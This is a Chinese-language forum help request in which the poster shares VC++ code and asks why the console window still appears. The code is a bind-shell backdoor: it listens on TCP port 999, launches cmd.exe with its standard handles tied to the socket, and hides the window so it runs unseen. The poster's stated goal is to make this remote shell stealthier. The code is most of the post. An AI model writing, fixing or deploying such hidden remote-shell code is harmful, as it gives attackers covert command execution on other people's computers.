1. 程式人生 > >求助(VC++) 隱藏Console視窗無效

求助(VC++) 隱藏Console視窗無效

    [逝去的100~~ 2014/10/07 20: 20]

    程式想要實現控制檯視窗的隱藏,但是視窗每次執行總會彈出來。為什麼呢?

    程式碼如下:

// Mini.cpp : 定義控制檯應用程式的入口點。

#include "stdafx.h"

#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

#define MAX_SER 10
#define HOST_PATH 256
#define HOSTNAME_SIZE HOST_PATH
#define MasterPort 999						//定義監聽的埠

char hostName[MAX_PATH]={0};
unsigned short maxService;
unsigned short port;


void Service(LPVOID lpv);
int LoopControl(SOCKET llistenfd,int isMultiTasking);
void initial();												
int initSockets(void);											//初始化Windows Socket

int main(int argc, char * argv[])  
{
	SOCKET listenFd,acceptfd;			             
	struct sockaddr_in serverAddr,clientAddr;	
	int nSize=sizeof(sockaddr_in);
	int err;

	PROCESS_INFORMATION ProcessInfo;
	STARTUPINFO StartupInfo;
	char szCMDPath[255];

	initial();
	initSockets();

	//分配記憶體資源
	ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
	
	//GetStartupInfo(&StartupInfo);
	//建立socket
	//listenFd=socket(PF_INET,SOCK_STREAM,0);
	listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	
	if(listenFd==INVALID_SOCKET){
		printf("error:out of socket resource \n");
		return 1;		
	}

	//bind本機的埠
	serverAddr.sin_family=AF_INET;															//協議型別是INET
	serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);										//本機IP
	serverAddr.sin_port=htons(MasterPort);													//繫結埠為5054

	err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));			
	if(err==INVALID_SOCKET){
		printf("error: unable to bind socket \n");
		return 1;
	}
	
	//listen 監聽埠
	err=listen(listenFd,3);
	if(err==INVALID_SOCKET){
		printf("error: listen socket failed \n");
		return 1;
	}
	printf("listen......");

	acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize);			//接收客戶連線的準備

	//配置隱藏視窗結構體
	StartupInfo.cb=sizeof(STARTUPINFO);
	StartupInfo.wShowWindow=SW_HIDE;
	StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	//StartupInfo.cbReserved2=0;
	//StartupInfo.lpReserved2=NULL;
	StartupInfo.hStdInput=(HANDLE)listenFd;
	StartupInfo.hStdOutput=(HANDLE)listenFd;
	StartupInfo.hStdError=(HANDLE)listenFd;

	//建立匿名管道
	CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,&StartupInfo,&ProcessInfo);
	WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

	
	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);

	printf("server is down \n");

	//關閉程序控制代碼
	closesocket(listenFd);
	closesocket(acceptfd);
	WSACleanup();
	

	return 0;
}

void initial()
{
	maxService=3;
	port=5054;
}

 /*
  *	Winsock服務初始化
 */
int initSockets(void)
{
	WSADATA wsaData;
	WORD sockVersion;                                              //typedef unsigned short WORD(16)
	int err;
	sockVersion=MAKEWORD(2,2);
	err=WSAStartup(sockVersion,&wsaData);						  
	if(err!=0)
	{
		printf("error %d :winsock not avaliable\n",err);
	}
	printf("environemnt invaild success.....\n");
	return 0;
}

    想法是通過CreateProcess來實現視窗的隱藏,新增以下的程式碼,確實實現了視窗的隱藏,但不是本意:
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

    執行的效果圖如下:


    看了其他的介紹說:要達到DOS程式執行時不顯示視窗的效果,有兩種可能:一是建立該DOS程序時,指定不建立視窗;二是隱藏該DOS程序有視窗。我這裡都明確指定了啊。

    Help